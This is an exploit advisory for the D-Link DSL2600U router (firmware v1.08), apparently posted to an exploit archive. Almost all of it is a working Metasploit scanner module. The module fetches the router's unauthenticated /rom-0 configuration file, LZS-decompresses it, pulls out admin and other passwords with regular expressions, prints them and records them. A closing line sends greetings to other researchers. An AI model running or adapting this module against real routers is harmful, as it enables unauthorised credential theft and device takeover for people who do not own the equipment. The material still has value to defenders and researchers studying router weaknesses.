📄 D-Link DSL2600U rom-0 Admin Password Disclosure

==================================================================================================================================
    | # Title     : D-Link DSL2600U rom-0 Admin Password Disclosure                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.dlink.com                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    :  a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure',
            'Description' => %q{
              This module exploits a vulnerability in D-Link DSL2600U routers
              (firmware version v1.08) that allows unauthenticated attackers
              to download the `rom-0` configuration file containing the
              administrator password. The `rom-0` file is compressed using
              LZS compression. After decompression, the admin credentials
              can be extracted in cleartext.
    
              This vulnerability affects D-Link DSL-2600U routers and potentially
              other D-Link models that expose the `rom-0` file.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://github.com/amirhosseinjamshidi64'],
              ['URL', 'https://www.dlink.com']
            ],
            'DisclosureDate' => '2026-05-02',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']),
          OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']),
          OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true])
        ])
      end
      class LZSDecompress
        def self.decompress(data)
          return nil if data.nil? || data.empty?
          output = ''
          idx = 0
          data_len = data.length
          while idx < data_len
            ctrl = data[idx].unpack('C')[0]
            idx += 1
            
            if ctrl == 0
              output << "\x00"
              next
            end
            if ctrl & 0x80 == 0
              count = ctrl & 0x1F
              if count == 0
                count = 31
              end
              if idx + count > data_len
                count = data_len - idx
              end
              output << data[idx, count]
              idx += count
            else
              if ctrl & 0x40 == 0
                offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 5) & 0x03) + 2
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              else
                offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 2) & 0x0F) + 3
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              end
            end
          end
          output
        rescue => e
          vprint_error("LZS decompression error: #{e.message}")
          nil
        end
      end
      def fetch_rom0
        uri = normalize_uri(target_uri.path)
        print_status("Downloading #{uri} from #{peer}")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri
        )
        if res && res.code == 200
          print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)")
          return res.body
        else
          print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}")
          return nil
        end
      end
      def extract_credentials(decompressed_data)
        credentials = []
        patterns = [
          /(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /"password"\s*:\s*"([^"]+)"/i,
          /'password'\s*:\s*'([^']+)'/i,
          /<password>([^<]+)<\/password>/i,
          /admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i
        ]
        cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i
        
        decompressed_data.scan(cred_pattern) do |match|
          if match[0] =~ /(user|admin|root|password|pass)/i
            credentials << { username: match[0], password: match[1] }
          end
        end
        
        patterns.each do |pattern|
          decompressed_data.scan(pattern) do |match|
            if match.is_a?(Array)
              credentials << { type: 'password', value: match[0] }
            else
              credentials << { type: 'password', value: match }
            end
          end
        end
        admin_patterns = [
          /admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i
        ]
        admin_patterns.each do |pattern|
          match = decompressed_data.match(pattern)
          if match
            credentials << { type: 'admin_password', value: match[1] }
          end
        end
        credentials.uniq
      end
      def find_admin_password(decompressed_data)
        match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i)
        return match[1] if match
        match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i)
        return match[1] if match
        match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i)
        return match[1] if match
        lines = decompressed_data.split("\n")
        lines.each do |line|
          if line =~ /admin/i && line =~ /(=|:)/i
            parts = line.split(/[=:]/)
            if parts.length >= 2
              candidate = parts[1].strip.gsub(/["']/, '')
              if candidate.length >= 4 && candidate.length <= 32
                return candidate
              end
            end
          end
        end
        
        nil
      end
      def save_output(data, filename)
        begin
          File.open(filename, 'wb') do |f|
            f.write(data)
          end
          print_good("Saved output to #{filename}")
          return true
        rescue => e
          print_error("Failed to save output: #{e.message}")
          return false
        end
      end
      def run_host(ip)
        print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure")
        print_status("Target: #{peer}")
        rom0_data = fetch_rom0
        if rom0_data.nil? || rom0_data.empty?
          print_error("Could not retrieve rom-0 file")
          return
        end
        if datastore['OUTPUT_FILE']
          save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw")
        end
        print_status("Decompressing LZS data...")
        decompressed_data = nil
        offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192]
        offsets_to_try.each do |offset|
          if offset < rom0_data.length
            vprint_status("Trying decompression at offset #{offset}")
            decompressed = LZSDecompress.decompress(rom0_data[offset..-1])
            if decompressed && decompressed.length > 100
              decompressed_data = decompressed
              print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)")
              break
            end
          end
        end
        
        if decompressed_data.nil? || decompressed_data.empty?
          decompressed_data = LZSDecompress.decompress(rom0_data)
          if decompressed_data && decompressed_data.length > 100
            print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)")
          else
            print_error("Failed to decompress rom-0 data")
            return
          end
        end
        if datastore['OUTPUT_FILE']
          save_output(decompressed_data, datastore['OUTPUT_FILE'])
        end
        if datastore['EXTRACT_CREDS']
          print_status("Extracting credentials from decompressed data...")
          admin_password = find_admin_password(decompressed_data)
          if admin_password
            print_good("Found admin password: #{admin_password}")
            report_cred(
              host: ip,
              port: datastore['RPORT'],
              service_name: 'http',
              user: 'admin',
              private_data: admin_password,
              private_type: :password,
              source_id: 'dlink_rom0_disclosure'
            )
          else
            credentials = extract_credentials(decompressed_data)
            if credentials.empty?
              print_warning("No credentials found in decompressed data")
              readable_strings = decompressed_data.scan(/[ -~]{8,}/)
              if readable_strings.any?
                print_status("Found readable strings that might contain credentials:")
                readable_strings.each do |str|
                  if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32
                    print_status("  Possible credential: #{str}")
                  end
                end
              end
            else
              print_good("Found #{credentials.length} potential credential(s):")
              credentials.each do |cred|
                if cred[:username] && cred[:password]
                  print_status("  #{cred[:username]} : #{cred[:password]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: cred[:username],
                    private_data: cred[:password],
                    private_type: :password
                  )
                elsif cred[:value]
                  print_status("  Password found: #{cred[:value]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: 'unknown',
                    private_data: cred[:value],
                    private_type: :password
                  )
                end
              end
            end
          end
        end
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================